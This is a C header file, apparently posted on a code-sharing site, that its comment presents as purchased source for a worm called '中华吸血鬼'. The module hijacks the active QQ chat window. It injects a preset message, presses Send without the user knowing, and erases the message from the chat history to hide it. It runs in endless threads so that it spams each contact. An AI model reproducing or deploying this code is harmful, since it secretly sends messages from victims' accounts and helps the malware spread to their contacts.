📄 qqweiba.h
字号:
/*
中华吸血鬼源代码 作者:黑网之神购买代码后请勿随便发布,请
珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
作者:黑网之神 2008/5/1
*/
//qqweiba.h
#include "head.h"
DWORD WINAPI qqweiba(LPVOID lpParameter);
//自己看,太多,不注释了
//--------------------------------------------------------------------------
//---------------------------定义全局变量,尾巴字符--------------------------
//--------------------------------------------------------------------------
char szTest[1000]={"QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"}; //QQ尾巴要发送的文本
//--------------------------------------------------------------------------
HWND hChild;
char szQQlistNumber[50][50];
int NumberForszQQlistNumber=0;
//--------------------------------------------------------------------------
typedef struct tagMYCTRLINFO
{
long CtrlID;
long CtrlStyle;
}MYCTRLINFO,*PMYCTRLINFO;
//--------------------------------------------------------------------------
HWND GetQQWnd() //得到QQ窗口
{
HWND hwnd=GetForegroundWindow();
DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
char ClassBuf[255]={0};
GetClassName(hwnd,ClassBuf,255);
if(strcmp(ClassBuf,"#32770")==0 && dwStyle==0x160F0044)
{
return hwnd;
}
return (HWND)-1;
}
//--------------------------------------------------------------------------
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
if(((PMYCTRLINFO)(void*)lParam)->CtrlID==GetWindowLong(hwnd,GWL_ID) &&
((PMYCTRLINFO)(void*)lParam)->CtrlStyle==GetWindowLong(hwnd,GWL_STYLE))
{
hChild=hwnd;
return false;
}
return true;
}
//--------------------------------------------------------------------------
HWND FindChildWindow(HWND hParent,long CtrlID,long CtrlStyle)
{
hChild=(HWND)-1;
MYCTRLINFO ctrlinfo;
ctrlinfo.CtrlID=CtrlID;
ctrlinfo.CtrlStyle=CtrlStyle;
if(EnumChildWindows(hParent,(WNDENUMPROC)EnumChildProc,(LPARAM)(void*)(&ctrlinfo)))
{
return hChild;
}
return hChild;
}
//--------------------------------------------------------------------------
HWND GetMsgEdit(HWND hQQWnd) //得到发送文本框
{
return FindChildWindow(hQQWnd,0x0000037E,0x50011004);
}
//--------------------------------------------------------------------------
HWND GetSendButton(HWND hQQWnd) //得到发送按钮
{
return FindChildWindow(hQQWnd,0x0000077E,0x5001000B);
}
//--------------------------------------------------------------------------
HWND GetHistoryWnd(HWND hParent)
{
return FindChildWindow(hParent,0x380,0x50011804);
}
//--------------------------------------------------------------------------
HWND GetNameBar(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x00000546,0x50000100);
}
//--------------------------------------------------------------------------
BOOL IsQQUsed(char(*pChar)[50],char *_szQqNumber,int iCntColum)
{
int iX=0;
while(iX<iCntColum)
{
if(lstrcmpi(pChar[iX],_szQqNumber)==0)
{
return TRUE;
}
iX++;
}
return FALSE;
}
//--------------------------------------------------------------------------
void AddQQ(char szQQ[])
{
lstrcpy(szQQlistNumber[NumberForszQQlistNumber],szQQ);
NumberForszQQlistNumber++;
}
//--------------------------------------------------------------------------
void SendTail() //发送尾巴数据
{
HWND hParent=GetQQWnd();
if(!IsWindow(hParent))
return;
HWND hMsg=GetMsgEdit(hParent);
HWND hSendButton=GetSendButton(hParent);
HWND hHistory=GetHistoryWnd(hParent);
HWND hNameBar=GetNameBar(hParent);
if(!IsWindow(hMsg))
return;
if(!IsWindow(hSendButton))
return;
if(!IsWindow(hNameBar))
return;
if(!IsWindow(hHistory))
return;
char szClassName[MAX_PATH]={0};
char szTitleStr[MAX_PATH]={0};
HWND hWnd=GetForegroundWindow();
GetClassName(hWnd,szClassName,MAX_PATH);
if(!lstrcmp(szClassName,"#32770"))
{
GetWindowText(hWnd,szTitleStr,MAX_PATH);
if(IsQQUsed(szQQlistNumber,szTitleStr,NumberForszQQlistNumber))
{
return;
}
AddQQ(szTitleStr);
}
//--------------------------------------------------------------------------
if(IsWindow(hMsg)&&IsWindow(hSendButton))
{
Sleep(100);
int nFirstSel,nLastSel;
SendMessage(hHistory,EM_SETSEL,0,-1);
SendMessage(hHistory,WM_COPY,0,0);
SendMessage(hHistory,EM_SETSEL,0,0);
SendMessage(hHistory,EM_SETSEL,0,0xFFFF);
SendMessage(hHistory,EM_GETSEL,WPARAM(&nFirstSel),LPARAM(&nLastSel));
SendMessage(hMsg,EM_SETSEL,0xFFFF,0);
SendMessage(hMsg,EM_REPLACESEL,0,LPARAM(szTest));
SendMessage(hSendButton,BM_CLICK,0,0);
SendMessage(hSendButton,WM_LBUTTONDOWN,0,0);
SendMessage(hSendButton,WM_LBUTTONUP,0,0);
SendMessage(hHistory,EM_SETSEL,nLastSel-1,0xFFFF);
SendMessage(hHistory,EM_REPLACESEL,0,0);
}
}
//--------------------------------------------------------------------------
DWORD WINAPI rinima(LPVOID lpParameter)
{
HANDLE hnd = CreateMutex(NULL,TRUE,"HDM");
if (GetLastError()==ERROR_ALREADY_EXISTS)
{
return 0;
}
while(1)
{
Sleep(200);
SendTail();
}
}
//--------------------------------------------------------------------------
DWORD WINAPI qqweiba(LPVOID lpParameter)
{
while (100)
{
Sleep(2000);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)rinima,NULL,0,NULL);
}
return TRUE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -